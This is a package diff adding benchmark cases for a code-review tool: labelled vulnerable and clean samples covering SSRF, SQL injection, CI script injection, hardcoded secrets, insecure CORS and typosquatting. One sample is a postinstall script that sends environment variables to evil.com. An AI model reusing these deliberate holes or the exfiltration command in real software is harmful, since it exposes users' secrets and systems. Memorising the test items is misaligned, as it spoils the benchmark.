@kevinrabun/judges-cli 3.127.2 → 3.128.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,910 @@
1
+ /**
2
+ * Benchmark cases addressing coverage gaps identified in the April 2026 audit.
3
+ *
4
+ * Adds:
5
+ * - 15 missing real-world attack patterns (vulnerable + clean pairs)
6
+ * - 5 uncovered judge prefix cases (INTENT, MFPR, COH, OVER, FPR)
7
+ * - Expanded Go coverage (10 → 25+)
8
+ * - Expanded thin categories (supply-chain, compatibility, sovereignty)
9
+ */
10
+ export const BENCHMARK_COVERAGE_GAPS = [
11
+ // ═══════════════════════════════════════════════════════════════════════════
12
+ // MISSING REAL-WORLD ATTACK PATTERNS
13
+ // ═══════════════════════════════════════════════════════════════════════════
14
+ // ── GraphQL Depth Attack ──
15
+ {
16
+ id: "graphql-query-depth-attack",
17
+ description: "GraphQL query with no depth limit allows nested resource exhaustion",
18
+ language: "typescript",
19
+ code: `import { ApolloServer } from "@apollo/server";
20
+ import { startStandaloneServer } from "@apollo/server/standalone";
21
+
22
+ const typeDefs = \`
23
+ type User { id: ID!, name: String, friends: [User] }
24
+ type Query { user(id: ID!): User }
25
+ \`;
26
+
27
+ const resolvers = {
28
+ Query: { user: (_, { id }) => db.findUser(id) },
29
+ User: { friends: (user) => db.findFriends(user.id) },
30
+ };
31
+
32
+ const server = new ApolloServer({ typeDefs, resolvers });
33
+ startStandaloneServer(server, { listen: { port: 4000 } });`,
34
+ expectedRuleIds: ["RATE-001", "PERF-001", "SEC-001"],
35
+ acceptablePrefixes: ["SCALE", "REL", "API"],
36
+ category: "rate-limiting",
37
+ difficulty: "medium",
38
+ },
39
+ // ── WebSocket Authentication ──
40
+ {
41
+ id: "websocket-no-auth",
42
+ description: "WebSocket server accepts connections without authentication",
43
+ language: "typescript",
44
+ code: `import { WebSocketServer } from "ws";
45
+
46
+ const wss = new WebSocketServer({ port: 8080 });
47
+
48
+ wss.on("connection", (ws) => {
49
+ ws.on("message", (data) => {
50
+ const msg = JSON.parse(data.toString());
51
+ if (msg.type === "chat") {
52
+ wss.clients.forEach((client) => client.send(JSON.stringify(msg)));
53
+ }
54
+ if (msg.type === "admin") {
55
+ db.query("DELETE FROM messages WHERE id = " + msg.id);
56
+ }
57
+ });
58
+ });`,
59
+ expectedRuleIds: ["AUTH-001", "SEC-001", "CYBER-001"],
60
+ acceptablePrefixes: ["RATE", "ERR"],
61
+ category: "auth",
62
+ difficulty: "medium",
63
+ },
64
+ // ── JWT Key Rotation ──
65
+ {
66
+ id: "jwt-no-key-rotation",
67
+ description: "JWT signing with static secret and no key rotation mechanism",
68
+ language: "typescript",
69
+ code: `import jwt from "jsonwebtoken";
70
+
71
+ const SECRET = "my-super-secret-key-that-never-changes";
72
+
73
+ export function issueToken(userId: string): string {
74
+ return jwt.sign({ sub: userId, role: "user" }, SECRET, { expiresIn: "30d" });
75
+ }
76
+
77
+ export function verifyToken(token: string): any {
78
+ return jwt.verify(token, SECRET);
79
+ }`,
80
+ expectedRuleIds: ["AUTH-001", "CYBER-001"],
81
+ acceptablePrefixes: ["SEC", "DATA", "CFG"],
82
+ category: "auth",
83
+ difficulty: "medium",
84
+ },
85
+ // ── Rate Limit Bypass via Headers ──
86
+ {
87
+ id: "rate-limit-header-bypass",
88
+ description: "Rate limiter trusts X-Forwarded-For header allowing bypass",
89
+ language: "typescript",
90
+ code: `import express from "express";
91
+ import rateLimit from "express-rate-limit";
92
+
93
+ const app = express();
94
+
95
+ app.set("trust proxy", true);
96
+
97
+ const limiter = rateLimit({
98
+ windowMs: 15 * 60 * 1000,
99
+ max: 100,
100
+ keyGenerator: (req) => req.headers["x-forwarded-for"] as string || req.ip,
101
+ });
102
+
103
+ app.use(limiter);
104
+ app.post("/api/login", (req, res) => {
105
+ // attacker can rotate X-Forwarded-For to bypass rate limit
106
+ authenticate(req.body);
107
+ });`,
108
+ expectedRuleIds: ["RATE-001", "SEC-001"],
109
+ acceptablePrefixes: ["AUTH", "CYBER"],
110
+ category: "rate-limiting",
111
+ difficulty: "hard",
112
+ },
113
+ // ── SSRF → Cloud Metadata ──
114
+ {
115
+ id: "ssrf-cloud-metadata",
116
+ description: "SSRF allowing access to cloud metadata endpoint",
117
+ language: "typescript",
118
+ code: `import express from "express";
119
+ import fetch from "node-fetch";
120
+
121
+ const app = express();
122
+
123
+ app.get("/proxy", async (req, res) => {
124
+ const targetUrl = req.query.url as string;
125
+ if (!targetUrl) return res.status(400).json({ error: "url required" });
126
+
127
+ try {
128
+ const response = await fetch(targetUrl);
129
+ const body = await response.text();
130
+ res.send(body);
131
+ } catch (err) {
132
+ res.status(500).json({ error: "fetch failed" });
133
+ }
134
+ });`,
135
+ expectedRuleIds: ["CYBER-001", "SEC-001"],
136
+ acceptablePrefixes: ["AUTH", "DATA"],
137
+ category: "security",
138
+ difficulty: "medium",
139
+ },
140
+ // ── Supply Chain Typosquatting ──
141
+ {
142
+ id: "supply-chain-typosquat-deps",
143
+ description: "Package.json with typosquatted dependency names",
144
+ language: "json",
145
+ code: `{
146
+ "name": "my-app",
147
+ "dependencies": {
148
+ "expresss": "^4.18.0",
149
+ "loadash": "^4.17.0",
150
+ "axois": "^1.6.0",
151
+ "react-router-dmo": "^6.0.0",
152
+ "cors": "^2.8.5"
153
+ }
154
+ }`,
155
+ expectedRuleIds: ["DEPS-001", "HALLU-001"],
156
+ acceptablePrefixes: ["SEC", "CYBER"],
157
+ category: "supply-chain",
158
+ difficulty: "medium",
159
+ },
160
+ // ── Insecure Random Token ──
161
+ {
162
+ id: "insecure-random-session-token",
163
+ description: "Math.random() used to generate session tokens",
164
+ language: "typescript",
165
+ code: `export function generateSessionToken(): string {
166
+ let token = "";
167
+ const chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
168
+ for (let i = 0; i < 32; i++) {
169
+ token += chars.charAt(Math.floor(Math.random() * chars.length));
170
+ }
171
+ return token;
172
+ }
173
+
174
+ export function generateResetToken(): string {
175
+ return Math.random().toString(36).substring(2) + Date.now().toString(36);
176
+ }`,
177
+ expectedRuleIds: ["CYBER-001", "SEC-001", "AUTH-001"],
178
+ category: "security",
179
+ difficulty: "easy",
180
+ },
181
+ // ── Log Injection ──
182
+ {
183
+ id: "log-injection-user-input",
184
+ description: "User input written directly to logs enabling log injection",
185
+ language: "typescript",
186
+ code: `import express from "express";
187
+ import { createLogger } from "winston";
188
+
189
+ const logger = createLogger({ level: "info" });
190
+ const app = express();
191
+
192
+ app.post("/login", (req, res) => {
193
+ const { username, password } = req.body;
194
+ logger.info("Login attempt for user: " + username);
195
+ if (!authenticate(username, password)) {
196
+ logger.warn("Failed login for: " + username + " from IP: " + req.ip);
197
+ return res.status(401).json({ error: "Invalid credentials" });
198
+ }
199
+ logger.info("Successful login: " + username);
200
+ res.json({ token: generateToken(username) });
201
+ });`,
202
+ expectedRuleIds: ["LOGPRIV-001", "SEC-001"],
203
+ acceptablePrefixes: ["CYBER", "AUTH"],
204
+ category: "logging-privacy",
205
+ difficulty: "medium",
206
+ },
207
+ // ── K8s RBAC Wildcard ──
208
+ {
209
+ id: "k8s-rbac-wildcard-permissions",
210
+ description: "Kubernetes ClusterRole with wildcard permissions",
211
+ language: "yaml",
212
+ code: `apiVersion: rbac.authorization.k8s.io/v1
213
+ kind: ClusterRole
214
+ metadata:
215
+ name: app-admin
216
+ rules:
217
+ - apiGroups: ["*"]
218
+ resources: ["*"]
219
+ verbs: ["*"]
220
+ ---
221
+ apiVersion: rbac.authorization.k8s.io/v1
222
+ kind: ClusterRoleBinding
223
+ metadata:
224
+ name: app-admin-binding
225
+ subjects:
226
+ - kind: ServiceAccount
227
+ name: app-service
228
+ namespace: default
229
+ roleRef:
230
+ kind: ClusterRole
231
+ name: app-admin
232
+ apiGroup: rbac.authorization.k8s.io`,
233
+ expectedRuleIds: ["IAC-001", "SEC-001"],
234
+ acceptablePrefixes: ["CYBER", "AUTH", "CLOUD"],
235
+ category: "iac-security",
236
+ difficulty: "easy",
237
+ },
238
+ // ── Terraform State Secrets ──
239
+ {
240
+ id: "terraform-state-with-secrets",
241
+ description: "Terraform configuration storing secrets in state file",
242
+ language: "hcl",
243
+ code: `resource "aws_db_instance" "main" {
244
+ engine = "postgres"
245
+ instance_class = "db.t3.micro"
246
+ username = "admin"
247
+ password = "SuperSecret123!"
248
+
249
+ tags = {
250
+ Environment = "production"
251
+ }
252
+ }
253
+
254
+ resource "aws_secretsmanager_secret_version" "db_password" {
255
+ secret_id = aws_secretsmanager_secret.db.id
256
+ secret_string = "SuperSecret123!"
257
+ }
258
+
259
+ output "db_password" {
260
+ value = aws_db_instance.main.password
261
+ sensitive = false
262
+ }`,
263
+ expectedRuleIds: ["IAC-001", "AUTH-001"],
264
+ acceptablePrefixes: ["SEC", "CYBER", "DATA", "CFG"],
265
+ category: "iac-security",
266
+ difficulty: "easy",
267
+ },
268
+ // ── CI Script Injection ──
269
+ {
270
+ id: "ci-script-injection-pr-title",
271
+ description: "GitHub Actions workflow vulnerable to script injection via PR title",
272
+ language: "yaml",
273
+ code: `name: PR Comment
274
+ on:
275
+ pull_request:
276
+ types: [opened, edited]
277
+
278
+ jobs:
279
+ comment:
280
+ runs-on: ubuntu-latest
281
+ steps:
282
+ - name: Comment on PR
283
+ run: |
284
+ echo "Processing PR: $\{{ github.event.pull_request.title }}"
285
+ curl -X POST -H "Authorization: token $\{{ secrets.GITHUB_TOKEN }}" \\
286
+ -d '{"body": "Reviewed: $\{{ github.event.pull_request.title }}"}' \\
287
+ "$\{{ github.api_url }}/repos/$\{{ github.repository }}/issues/$\{{ github.event.number }}/comments"`,
288
+ expectedRuleIds: ["CICD-001", "SEC-001"],
289
+ acceptablePrefixes: ["CYBER", "IAC"],
290
+ category: "ci-cd",
291
+ difficulty: "hard",
292
+ },
293
+ // ── OAuth Missing State ──
294
+ {
295
+ id: "oauth-missing-state-param",
296
+ description: "OAuth flow without state parameter for CSRF protection",
297
+ language: "typescript",
298
+ code: `import express from "express";
299
+
300
+ const app = express();
301
+ const CLIENT_ID = process.env.OAUTH_CLIENT_ID;
302
+ const CLIENT_SECRET = process.env.OAUTH_CLIENT_SECRET;
303
+
304
+ app.get("/auth/login", (req, res) => {
305
+ res.redirect(\`https://provider.com/oauth/authorize?client_id=\${CLIENT_ID}&redirect_uri=http://localhost:3000/auth/callback&response_type=code\`);
306
+ });
307
+
308
+ app.get("/auth/callback", async (req, res) => {
309
+ const { code } = req.query;
310
+ const tokenRes = await fetch("https://provider.com/oauth/token", {
311
+ method: "POST",
312
+ body: JSON.stringify({ code, client_id: CLIENT_ID, client_secret: CLIENT_SECRET }),
313
+ });
314
+ const { access_token } = await tokenRes.json();
315
+ req.session.token = access_token;
316
+ res.redirect("/dashboard");
317
+ });`,
318
+ expectedRuleIds: ["AUTH-001", "CYBER-001"],
319
+ acceptablePrefixes: ["SEC", "FW"],
320
+ category: "auth",
321
+ difficulty: "medium",
322
+ },
323
+ // ── CORS Credentials + Wildcard ──
324
+ {
325
+ id: "cors-credentials-wildcard-origin",
326
+ description: "CORS configured with credentials and reflected origin",
327
+ language: "typescript",
328
+ code: `import express from "express";
329
+ import cors from "cors";
330
+
331
+ const app = express();
332
+
333
+ app.use(cors({
334
+ origin: (origin, callback) => {
335
+ callback(null, origin);
336
+ },
337
+ credentials: true,
338
+ }));
339
+
340
+ app.get("/api/user", (req, res) => {
341
+ res.json({ user: req.session.user, email: req.session.email });
342
+ });`,
343
+ expectedRuleIds: ["SEC-001", "CYBER-001"],
344
+ acceptablePrefixes: ["AUTH", "DATA", "FW"],
345
+ category: "security",
346
+ difficulty: "hard",
347
+ },
348
+ // ── Hardcoded Encryption Key ──
349
+ {
350
+ id: "hardcoded-encryption-key-aes",
351
+ description: "AES encryption key hardcoded in source",
352
+ language: "typescript",
353
+ code: `import crypto from "crypto";
354
+
355
+ const ENCRYPTION_KEY = "a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6";
356
+ const IV_LENGTH = 16;
357
+
358
+ export function encrypt(text: string): string {
359
+ const iv = crypto.randomBytes(IV_LENGTH);
360
+ const cipher = crypto.createCipheriv("aes-256-cbc", Buffer.from(ENCRYPTION_KEY), iv);
361
+ let encrypted = cipher.update(text);
362
+ encrypted = Buffer.concat([encrypted, cipher.final()]);
363
+ return iv.toString("hex") + ":" + encrypted.toString("hex");
364
+ }
365
+
366
+ export function decrypt(text: string): string {
367
+ const parts = text.split(":");
368
+ const iv = Buffer.from(parts[0], "hex");
369
+ const encrypted = Buffer.from(parts[1], "hex");
370
+ const decipher = crypto.createDecipheriv("aes-256-cbc", Buffer.from(ENCRYPTION_KEY), iv);
371
+ let decrypted = decipher.update(encrypted);
372
+ decrypted = Buffer.concat([decrypted, decipher.final()]);
373
+ return decrypted.toString();
374
+ }`,
375
+ expectedRuleIds: ["AUTH-001", "CYBER-001", "DATA-001"],
376
+ acceptablePrefixes: ["SEC", "CFG"],
377
+ category: "security",
378
+ difficulty: "easy",
379
+ },
380
+ // ── DNS Rebinding ──
381
+ {
382
+ id: "dns-rebinding-ssrf-bypass",
383
+ description: "SSRF check vulnerable to DNS rebinding attack",
384
+ language: "typescript",
385
+ code: `import dns from "dns/promises";
386
+ import fetch from "node-fetch";
387
+
388
+ async function isInternalIP(hostname: string): Promise<boolean> {
389
+ const { address } = await dns.lookup(hostname);
390
+ return address.startsWith("10.") || address.startsWith("192.168.") || address === "127.0.0.1";
391
+ }
392
+
393
+ export async function safeFetch(url: string): Promise<string> {
394
+ const parsed = new URL(url);
395
+
396
+ if (await isInternalIP(parsed.hostname)) {
397
+ throw new Error("Internal IPs not allowed");
398
+ }
399
+
400
+ // DNS rebinding: hostname now resolves to a different IP
401
+ const response = await fetch(url);
402
+ return response.text();
403
+ }`,
404
+ expectedRuleIds: ["CYBER-001", "SEC-001"],
405
+ acceptablePrefixes: ["AUTH"],
406
+ category: "security",
407
+ difficulty: "hard",
408
+ },
409
+ // ═══════════════════════════════════════════════════════════════════════════
410
+ // UNCOVERED JUDGE PREFIX CASES
411
+ // ═══════════════════════════════════════════════════════════════════════════
412
+ // ── INTENT: Code-comment alignment ──
413
+ {
414
+ id: "intent-misleading-function-name",
415
+ description: "Function name suggests deletion but actually archives",
416
+ language: "typescript",
417
+ code: `export async function deleteUser(userId: string): Promise<void> {
418
+ // "Delete" user — actually just marks as inactive
419
+ await db.users.update({ id: userId }, { active: false, deletedAt: new Date() });
420
+ await cache.invalidate(\`user:\${userId}\`);
421
+ await emailService.send(userId, "Your account has been deleted");
422
+ }
423
+
424
+ export function validateEmail(input: string): boolean {
425
+ // Validates phone number format
426
+ return /^\\+?[1-9]\\d{1,14}$/.test(input);
427
+ }`,
428
+ expectedRuleIds: ["INTENT-001"],
429
+ acceptablePrefixes: ["DOC", "LOGIC", "MAINT"],
430
+ category: "intent-alignment",
431
+ difficulty: "medium",
432
+ },
433
+ // ── OVER: Over-engineering ──
434
+ {
435
+ id: "over-engineering-simple-task",
436
+ description: "Massively over-engineered solution for simple string formatting",
437
+ language: "typescript",
438
+ code: `// Abstract factory for string formatters
439
+ interface IFormatterStrategy { format(input: string): string; }
440
+ interface IFormatterFactory { create(type: string): IFormatterStrategy; }
441
+
442
+ class UpperCaseStrategy implements IFormatterStrategy {
443
+ format(input: string): string { return input.toUpperCase(); }
444
+ }
445
+ class LowerCaseStrategy implements IFormatterStrategy {
446
+ format(input: string): string { return input.toLowerCase(); }
447
+ }
448
+ class TitleCaseStrategy implements IFormatterStrategy {
449
+ format(input: string): string { return input.replace(/\\b\\w/g, c => c.toUpperCase()); }
450
+ }
451
+
452
+ class FormatterFactory implements IFormatterFactory {
453
+ private registry = new Map<string, new () => IFormatterStrategy>();
454
+ constructor() {
455
+ this.registry.set("upper", UpperCaseStrategy);
456
+ this.registry.set("lower", LowerCaseStrategy);
457
+ this.registry.set("title", TitleCaseStrategy);
458
+ }
459
+ create(type: string): IFormatterStrategy {
460
+ const Ctor = this.registry.get(type);
461
+ if (!Ctor) throw new Error("Unknown formatter: " + type);
462
+ return new Ctor();
463
+ }
464
+ }
465
+
466
+ class FormatterService {
467
+ constructor(private factory: IFormatterFactory) {}
468
+ execute(input: string, type: string): string {
469
+ return this.factory.create(type).format(input);
470
+ }
471
+ }
472
+
473
+ // Usage: new FormatterService(new FormatterFactory()).execute("hello", "upper")
474
+ // Could be: "hello".toUpperCase()`,
475
+ expectedRuleIds: ["OVER-001"],
476
+ acceptablePrefixes: ["MAINT", "STRUCT", "SWDEV"],
477
+ category: "over-engineering",
478
+ difficulty: "easy",
479
+ },
480
+ // ── COH: Code coherence ──
481
+ {
482
+ id: "coherence-mixed-patterns",
483
+ description: "File mixing async/await, callbacks, and .then() inconsistently",
484
+ language: "typescript",
485
+ code: `import fs from "fs";
486
+ import { promisify } from "util";
487
+
488
+ const readFile = promisify(fs.readFile);
489
+
490
+ // Callback style
491
+ export function loadConfig(path: string, cb: (err: Error | null, data?: any) => void) {
492
+ fs.readFile(path, "utf8", (err, data) => {
493
+ if (err) return cb(err);
494
+ cb(null, JSON.parse(data));
495
+ });
496
+ }
497
+
498
+ // Promise .then() style
499
+ export function loadUsers() {
500
+ return readFile("users.json", "utf8").then(data => {
501
+ return JSON.parse(data);
502
+ }).then(users => {
503
+ return users.filter((u: any) => u.active);
504
+ });
505
+ }
506
+
507
+ // async/await style
508
+ export async function loadPermissions(): Promise<string[]> {
509
+ const data = await readFile("permissions.json", "utf8");
510
+ const perms = JSON.parse(data);
511
+ return perms.map((p: any) => p.name);
512
+ }
513
+
514
+ // Mixed in one function
515
+ export function processData(path: string) {
516
+ return new Promise((resolve, reject) => {
517
+ fs.readFile(path, "utf8", async (err, data) => {
518
+ if (err) return reject(err);
519
+ const parsed = JSON.parse(data);
520
+ const enriched = await enrichData(parsed);
521
+ resolve(enriched);
522
+ });
523
+ });
524
+ }`,
525
+ expectedRuleIds: ["COH-001"],
526
+ acceptablePrefixes: ["MAINT", "SWDEV", "STRUCT", "ERR"],
527
+ category: "code-structure",
528
+ difficulty: "medium",
529
+ },
530
+ // ── MFPR: AI code provenance ──
531
+ {
532
+ id: "mfpr-ai-generated-markers",
533
+ description: "Code with typical AI-generated patterns and placeholder comments",
534
+ language: "typescript",
535
+ code: `// Generated by AI Assistant
536
+ // TODO: Implement proper error handling
537
+ // TODO: Add input validation
538
+ // TODO: Replace with production database connection
539
+
540
+ import express from "express";
541
+
542
+ const app = express();
543
+
544
+ // Simple CRUD API
545
+ app.get("/api/items", async (req, res) => {
546
+ // Fetch all items from the database
547
+ const items = await db.query("SELECT * FROM items");
548
+ res.json(items);
549
+ });
550
+
551
+ app.post("/api/items", async (req, res) => {
552
+ // Insert new item
553
+ const { name, price } = req.body;
554
+ // Note: Add validation here
555
+ await db.query(\`INSERT INTO items (name, price) VALUES ('\${name}', \${price})\`);
556
+ res.status(201).json({ message: "Created" });
557
+ });
558
+
559
+ // Start server
560
+ app.listen(3000, () => console.log("Server running on port 3000"));
561
+ // End of generated code`,
562
+ expectedRuleIds: ["MFPR-001", "AICS-001"],
563
+ acceptablePrefixes: ["SEC", "CYBER", "AUTH", "ERR", "DOC"],
564
+ category: "ai-code-safety",
565
+ difficulty: "easy",
566
+ },
567
+ // ═══════════════════════════════════════════════════════════════════════════
568
+ // EXPANDED GO COVERAGE
569
+ // ═══════════════════════════════════════════════════════════════════════════
570
+ {
571
+ id: "go-goroutine-leak-channel",
572
+ description: "Go goroutine leak from unbuffered channel never read",
573
+ language: "go",
574
+ code: `package main
575
+
576
+ import (
577
+ "fmt"
578
+ "net/http"
579
+ )
580
+
581
+ func handler(w http.ResponseWriter, r *http.Request) {
582
+ ch := make(chan string)
583
+ go func() {
584
+ result := fetchFromAPI(r.URL.Query().Get("id"))
585
+ ch <- result // blocks forever if handler returns early
586
+ }()
587
+
588
+ select {
589
+ case res := <-ch:
590
+ fmt.Fprint(w, res)
591
+ case <-r.Context().Done():
592
+ // goroutine still blocked on ch <- result
593
+ http.Error(w, "timeout", http.StatusGatewayTimeout)
594
+ }
595
+ }`,
596
+ expectedRuleIds: ["CONC-001", "REL-001"],
597
+ acceptablePrefixes: ["PERF", "SCALE"],
598
+ category: "concurrency",
599
+ difficulty: "hard",
600
+ },
601
+ {
602
+ id: "go-http-no-timeout",
603
+ description: "Go HTTP server with no read/write timeouts",
604
+ language: "go",
605
+ code: `package main
606
+
607
+ import (
608
+ "fmt"
609
+ "net/http"
610
+ )
611
+
612
+ func main() {
613
+ mux := http.NewServeMux()
614
+ mux.HandleFunc("/api/data", dataHandler)
615
+
616
+ server := &http.Server{
617
+ Addr: ":8080",
618
+ Handler: mux,
619
+ }
620
+
621
+ fmt.Println("Starting server on :8080")
622
+ server.ListenAndServe()
623
+ }
624
+
625
+ func dataHandler(w http.ResponseWriter, r *http.Request) {
626
+ data := fetchExpensiveData()
627
+ fmt.Fprint(w, data)
628
+ }`,
629
+ expectedRuleIds: ["REL-001", "SCALE-001"],
630
+ acceptablePrefixes: ["RATE", "PERF", "SEC"],
631
+ category: "reliability",
632
+ difficulty: "medium",
633
+ },
634
+ {
635
+ id: "go-sql-prepared-missing",
636
+ description: "Go database queries without prepared statements",
637
+ language: "go",
638
+ code: `package main
639
+
640
+ import (
641
+ "database/sql"
642
+ "fmt"
643
+ "net/http"
644
+ _ "github.com/lib/pq"
645
+ )
646
+
647
+ var db *sql.DB
648
+
649
+ func searchHandler(w http.ResponseWriter, r *http.Request) {
650
+ term := r.URL.Query().Get("q")
651
+ query := fmt.Sprintf("SELECT * FROM products WHERE name LIKE '%%%s%%'", term)
652
+ rows, err := db.Query(query)
653
+ if err != nil {
654
+ http.Error(w, err.Error(), 500)
655
+ return
656
+ }
657
+ defer rows.Close()
658
+ // process rows...
659
+ }`,
660
+ expectedRuleIds: ["CYBER-001", "SEC-001", "DB-001"],
661
+ acceptablePrefixes: ["AUTH"],
662
+ category: "injection",
663
+ difficulty: "easy",
664
+ },
665
+ {
666
+ id: "go-context-not-propagated",
667
+ description: "Go HTTP handler not propagating context to downstream calls",
668
+ language: "go",
669
+ code: `package main
670
+
671
+ import (
672
+ "encoding/json"
673
+ "net/http"
674
+ "time"
675
+ )
676
+
677
+ func getUserHandler(w http.ResponseWriter, r *http.Request) {
678
+ id := r.URL.Query().Get("id")
679
+
680
+ // Context from request not passed to downstream calls
681
+ user, err := fetchUser(id)
682
+ if err != nil {
683
+ http.Error(w, "internal error", 500)
684
+ return
685
+ }
686
+
687
+ orders, err := fetchOrders(id)
688
+ if err != nil {
689
+ http.Error(w, "internal error", 500)
690
+ return
691
+ }
692
+
693
+ json.NewEncoder(w).Encode(map[string]interface{}{"user": user, "orders": orders})
694
+ }
695
+
696
+ func fetchUser(id string) (interface{}, error) {
697
+ time.Sleep(5 * time.Second) // simulates slow call
698
+ return nil, nil
699
+ }
700
+
701
+ func fetchOrders(id string) (interface{}, error) {
702
+ time.Sleep(5 * time.Second)
703
+ return nil, nil
704
+ }`,
705
+ expectedRuleIds: ["REL-001"],
706
+ acceptablePrefixes: ["PERF", "SCALE", "CONC"],
707
+ category: "reliability",
708
+ difficulty: "medium",
709
+ },
710
+ {
711
+ id: "go-error-string-comparison",
712
+ description: "Go code comparing errors by string instead of errors.Is/As",
713
+ language: "go",
714
+ code: `package main
715
+
716
+ import (
717
+ "database/sql"
718
+ "errors"
719
+ "fmt"
720
+ "net/http"
721
+ )
722
+
723
+ func getItem(w http.ResponseWriter, r *http.Request) {
724
+ item, err := db.QueryRow("SELECT * FROM items WHERE id = $1", r.URL.Query().Get("id"))
725
+ if err != nil {
726
+ if err.Error() == "sql: no rows in result set" {
727
+ http.Error(w, "not found", 404)
728
+ return
729
+ }
730
+ if fmt.Sprintf("%v", err) == "connection refused" {
731
+ http.Error(w, "service unavailable", 503)
732
+ return
733
+ }
734
+ http.Error(w, "internal error", 500)
735
+ return
736
+ }
737
+ _ = item
738
+ }
739
+
740
+ var _ = errors.Is // imported but not used for error checks
741
+ var _ = sql.ErrNoRows`,
742
+ expectedRuleIds: ["ERR-001", "SWDEV-001"],
743
+ acceptablePrefixes: ["LOGIC", "MAINT", "REL"],
744
+ category: "error-handling",
745
+ difficulty: "medium",
746
+ },
747
+ // ── Clean Go ──
748
+ {
749
+ id: "clean-go-context-propagation",
750
+ description: "Go handler properly propagating context with timeouts",
751
+ language: "go",
752
+ code: `package main
753
+
754
+ import (
755
+ "context"
756
+ "encoding/json"
757
+ "log"
758
+ "net/http"
759
+ "time"
760
+ )
761
+
762
+ func getUserHandler(w http.ResponseWriter, r *http.Request) {
763
+ ctx, cancel := context.WithTimeout(r.Context(), 5*time.Second)
764
+ defer cancel()
765
+
766
+ id := r.URL.Query().Get("id")
767
+ if id == "" {
768
+ http.Error(w, "id required", http.StatusBadRequest)
769
+ return
770
+ }
771
+
772
+ user, err := fetchUser(ctx, id)
773
+ if err != nil {
774
+ log.Printf("fetchUser error: %v", err)
775
+ http.Error(w, "internal error", http.StatusInternalServerError)
776
+ return
777
+ }
778
+
779
+ w.Header().Set("Content-Type", "application/json")
780
+ json.NewEncoder(w).Encode(user)
781
+ }
782
+
783
+ func fetchUser(ctx context.Context, id string) (map[string]string, error) {
784
+ row := db.QueryRowContext(ctx, "SELECT id, name, email FROM users WHERE id = $1", id)
785
+ var user struct{ ID, Name, Email string }
786
+ if err := row.Scan(&user.ID, &user.Name, &user.Email); err != nil {
787
+ return nil, fmt.Errorf("scan user: %w", err)
788
+ }
789
+ return map[string]string{"id": user.ID, "name": user.Name, "email": user.Email}, nil
790
+ }`,
791
+ expectedRuleIds: [],
792
+ category: "clean",
793
+ difficulty: "hard",
794
+ },
795
+ // ═══════════════════════════════════════════════════════════════════════════
796
+ // EXPANDED THIN CATEGORIES
797
+ // ═══════════════════════════════════════════════════════════════════════════
798
+ // ── Supply Chain ──
799
+ {
800
+ id: "supply-chain-postinstall-script",
801
+ description: "Package.json with suspicious postinstall script",
802
+ language: "json",
803
+ code: `{
804
+ "name": "helpful-utils",
805
+ "version": "1.0.0",
806
+ "scripts": {
807
+ "postinstall": "node -e \\"require('child_process').exec('curl https://evil.com/collect?data='+encodeURIComponent(JSON.stringify({cwd:process.cwd(),env:process.env})))\\"",
808
+ "build": "tsc"
809
+ },
810
+ "dependencies": {
811
+ "express": "^4.18.0"
812
+ }
813
+ }`,
814
+ expectedRuleIds: ["DEPS-001", "SEC-001"],
815
+ acceptablePrefixes: ["CYBER", "CICD"],
816
+ category: "supply-chain",
817
+ difficulty: "medium",
818
+ },
819
+ // ── Compatibility ──
820
+ {
821
+ id: "compat-api-field-type-change",
822
+ description: "API response changes field type from string to object (breaking)",
823
+ language: "typescript",
824
+ code: `// v1 response: { user: "john" }
825
+ // v2 response: { user: { name: "john", id: 123 } }
826
+ // No versioning, no deprecation notice
827
+
828
+ export interface UserResponseV2 {
829
+ user: { name: string; id: number }; // was: user: string
830
+ metadata: { version: 2 };
831
+ }
832
+
833
+ export function getUser(id: string): UserResponseV2 {
834
+ const user = db.findUser(id);
835
+ return {
836
+ user: { name: user.name, id: user.id },
837
+ metadata: { version: 2 },
838
+ };
839
+ }`,
840
+ expectedRuleIds: ["COMPAT-001"],
841
+ acceptablePrefixes: ["API", "DOC"],
842
+ category: "compatibility",
843
+ difficulty: "medium",
844
+ },
845
+ // ── Sovereignty ──
846
+ {
847
+ id: "sovereignty-analytics-third-party-transfer",
848
+ description: "User data sent to third-party analytics without consent or transfer safeguards",
849
+ language: "typescript",
850
+ code: `import analytics from "analytics-provider";
851
+
852
+ export function trackUserActivity(user: { id: string; email: string; country: string }) {
853
+ // Send full user profile to US-based analytics service
854
+ analytics.track({
855
+ userId: user.id,
856
+ email: user.email,
857
+ country: user.country,
858
+ properties: {
859
+ lastLogin: new Date().toISOString(),
860
+ ipAddress: getClientIP(),
861
+ browserFingerprint: generateFingerprint(),
862
+ },
863
+ });
864
+ }
865
+
866
+ export function trackPurchase(user: { id: string; email: string }, amount: number) {
867
+ analytics.track({
868
+ userId: user.id,
869
+ email: user.email,
870
+ event: "purchase",
871
+ properties: { amount, currency: "EUR" },
872
+ });
873
+ }`,
874
+ expectedRuleIds: ["SOV-001", "COMP-001", "DATA-001"],
875
+ acceptablePrefixes: ["LOGPRIV", "ETHICS"],
876
+ category: "data-sovereignty",
877
+ difficulty: "medium",
878
+ },
879
+ {
880
+ id: "sovereignty-backup-no-region-constraint",
881
+ description: "Database backups stored without region constraints",
882
+ language: "hcl",
883
+ code: `resource "aws_db_instance" "main" {
884
+ engine = "postgres"
885
+ instance_class = "db.r5.large"
886
+ allocated_storage = 100
887
+ storage_encrypted = true
888
+
889
+ backup_retention_period = 30
890
+ # No backup region constraint — backups may replicate to any AWS region
891
+ }
892
+
893
+ resource "aws_s3_bucket" "backups" {
894
+ bucket = "company-db-backups"
895
+ # No bucket policy restricting region
896
+ # No replication configuration
897
+ }
898
+
899
+ resource "aws_s3_bucket_versioning" "backups" {
900
+ bucket = aws_s3_bucket.backups.id
901
+ versioning_configuration {
902
+ status = "Enabled"
903
+ }
904
+ }`,
905
+ expectedRuleIds: ["SOV-001", "IAC-001"],
906
+ acceptablePrefixes: ["DATA", "COMP", "CLOUD"],
907
+ category: "data-sovereignty",
908
+ difficulty: "hard",
909
+ },
910
+ ];